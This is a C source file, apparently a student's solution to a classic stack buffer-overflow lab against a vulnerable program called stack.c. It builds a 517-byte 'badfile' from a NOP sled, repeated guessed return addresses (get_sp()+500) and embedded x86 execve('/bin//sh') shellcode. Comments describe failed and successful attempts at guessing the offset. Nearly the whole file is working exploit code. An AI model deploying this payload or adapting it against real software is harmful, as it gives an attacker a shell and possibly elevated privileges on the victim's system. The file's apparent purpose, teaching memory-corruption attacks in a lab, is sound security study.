

/\* exploit.c \*/

/\* A program that creates a file containing code for launching shell \*/

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

char shellcode[]=

"\x31\xc0" /\* xorl %eax,%eax \*/

"\x50" /\* pushl %eax \*/

"\x68""//sh" /\* pushl $0x68732f2f \*/

"\x68""/bin" /\* pushl $0x6e69622f \*/

"\x89\xe3" /\* movl %esp,%ebx \*/

"\x50" /\* pushl %eax \*/

"\x53" /\* pushl %ebx \*/

"\x89\xe1" /\* movl %esp,%ecx \*/

"\x99" /\* cdql \*/

"\xb0\x0b" /\* movb $0x0b,%al \*/

"\xcd\x80" /\* int $0x80 \*/

;

/\* Function that calls an assembly instuction

to return the address of the top of the stack \*/

unsigned long get\_sp(void)

{

\_\_asm\_\_("movl %esp,%eax");

}

void main(int argc, char \*\*argv)

{

char buffer[517];

FILE \*badfile;

/\* Initialize buffer with 0x90 (NOP instruction) \*/

memset(&buffer, 0x90, 517);

/\* You need to fill the buffer with appropriate contents here \*/

int i = 0;

/\* Pointer to buffer \*/

char \*ptr;

/\* Long int to handle a sucession of retptr addresses \*/

long \*addrptr;

/\* Address to land us in stack.c's bof function

in order to overwrite the return and send us to the exploit \*/

long retaddr;

/\* num is a position int, used to place shell code plus null at end of buffer \*/

int num = sizeof(buffer) - (sizeof(shellcode) + 1);

/\* argv was used as an attempt to guess the stack pointer offset

at runtime. This approach was not successful, it drastically

changes the address of the return we want to overwrite in stack.c \*/

/\* offset = argv[1]; \*/

/\* Grab the address of the start of buffer \*/

ptr = buffer;

/\* Cast the address into a long int \*/

addrptr = (long\*)(ptr);

/\* printf("buffaddr: %11x\n", get\_buffaddr(buffer)); \*/

/\* This address refers to an address inside of

stack.c's bof function. The address was determined as a

result of initializing x to 0 in stack.'s bif function and

printing its address with a printf statement \*/

/\* retaddr = 0xbffff362; \*/

/\* Alternative, correct approach that required us taking an educated

guess at what the offest should be in order to land in stack.c's

bof function. \*/

retaddr = get\_sp() + 500;

/\* Addresses printed out for orientation, confirmation of process.

printf("stack ptr: 0x%x\n", get\_sp());

printf("retaddr: 0x%x\n", retptr);

printf("retaddr: 0x%x\n", get\_sp() + 502);

printf("buffer: 0x%x\n", buffer);

printf("shellcode size: %d\n", sizeof(shellcode)); \*/

/\* Fill the first 20 words of the buffer with retaddr \*/

for (i = 0; i < 20; i++)

\*(addrptr++) = retaddr;

/\* Fill the end of buffer with our shellcode \*/

for (i = 0; i < sizeof(shellcode); i++)

buffer[num + i] = shellcode[i];

/\* Null terminate our shellcode at end of buffer \*/

buffer[sizeof(buffer) - 1] = '\0';

/\* Save the contents to the file "badfile" \*/

badfile = fopen("./badfile", "w");

fwrite(buffer, 517, 1, badfile);

fclose(badfile);

}